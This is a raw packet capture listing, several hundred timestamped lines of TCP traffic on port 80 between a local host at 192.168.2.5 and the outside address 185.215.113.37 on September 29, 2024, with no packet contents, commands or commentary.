Sep 29, 2024 02:00:18.416903019 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.416925907 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.416989088 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417000055 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417011023 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417052984 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417198896 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417211056 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417248011 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417278051 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417296886 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417309046 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417320013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417332888 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417335987 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417342901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417350054 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417356014 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417370081 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417398930 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417603970 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417617083 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417629957 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417649984 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417659044 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417700052 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417707920 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417726994 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417740107 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417749882 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417752028 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417759895 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417764902 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417777061 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417781115 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417788982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417798042 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417800903 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417813063 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417815924 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417834997 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417846918 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417851925 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417860031 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417860031 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417872906 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.417891979 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417918921 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.417999983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.418014050 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.418025970 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.418037891 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.418050051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.418054104 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.418061972 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.418075085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.418082952 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.418097019 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.418113947 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.418153048 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.418169975 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.418183088 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.418195009 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.418198109 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.418207884 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.418215036 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.418225050 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.418255091 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.418322086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.418334961 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.418364048 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.418375015 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.419075966 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419163942 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.419243097 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419255018 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419405937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419420004 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.419420958 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419434071 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419445992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419456005 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.419456959 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419470072 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419481039 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.419493914 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.419523954 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.419558048 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419573069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419585943 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419596910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419610023 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419621944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.419621944 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.419650078 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.419673920 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.431598902 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.431631088 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.431643963 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.431674957 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.431705952 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.431740999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.431755066 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.431768894 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.431781054 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.431797028 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.431811094 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.440318108 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.440365076 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.440390110 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.440411091 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.440423012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.440435886 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.440448999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.440453053 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.440494061 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.503281116 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503303051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503314972 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503326893 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503339052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503351927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503365040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503375053 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503377914 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.503413916 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503420115 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.503427029 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503437996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503453016 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.503478050 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.503532887 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503545046 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503557920 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503585100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503597975 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503602982 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.503621101 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.503645897 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.503714085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503725052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503735065 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503747940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503751993 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.503758907 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503771067 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503778934 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.503784895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503797054 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.503823996 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.503876925 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503886938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503906965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503917933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.503942966 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.503957987 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.504116058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504129887 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504204035 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.504276991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504416943 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504427910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504463911 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.504477978 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.504488945 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504502058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504512072 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504523993 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.504523993 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504535913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504543066 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.504549980 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504560947 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504571915 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.504574060 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504587889 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.504708052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504734039 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.504746914 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.504753113 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504765987 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504800081 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504801989 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.504832983 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.504875898 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504889965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504930019 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.504965067 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504976988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.504988909 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505008936 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.505024910 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.505067110 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505079985 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505090952 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505101919 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.505117893 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.505155087 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.505604982 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505620003 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505631924 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505642891 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505645990 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.505661964 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.505691051 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.505800962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505812883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505825043 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505836010 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505847931 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505857944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505867958 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.505892038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505903959 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505913973 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.505923033 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.505938053 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505948067 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.505949974 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.505973101 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.505987883 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506052017 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506062984 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506089926 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506117105 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506119967 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506133080 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506154060 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506170034 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506351948 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506364107 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506376028 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506388903 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506398916 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506417036 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506438017 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506442070 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506449938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506462097 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506467104 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506474972 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506484985 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506500959 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506506920 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506517887 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506529093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506529093 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506546021 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506561995 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506674051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506686926 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506700039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506710052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506726980 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506735086 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506740093 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506752014 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506762028 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.506766081 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506789923 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.506807089 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.507096052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507108927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507128954 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507138968 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507153034 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507169008 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.507196903 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.507796049 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507808924 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507848978 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507860899 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507870913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507870913 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.507880926 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507885933 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.507900000 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507910013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507922888 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507931948 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507942915 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.507946014 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.507976055 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.508253098 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.508265972 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.508285046 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.508296967 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.508304119 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.508308887 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.508318901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.508323908 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.508331060 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.508357048 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.508388996 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.520447969 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.520464897 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.520478010 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.520518064 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.520523071 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.520523071 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.520529032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.520541906 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.520554066 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.520555019 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.520576954 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.520601988 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.520642042 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.520675898 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.529082060 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.529098034 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.529109001 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.529120922 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.529182911 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.529182911 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.529208899 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.529221058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.529232979 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.529244900 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.529256105 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.529274940 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.594291925 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594309092 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594345093 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594383955 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.594425917 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.594495058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594506025 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594516993 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594528913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594532013 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.594541073 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594552040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.594554901 CEST	49704	80	192.168.2.5	185.215.113.37
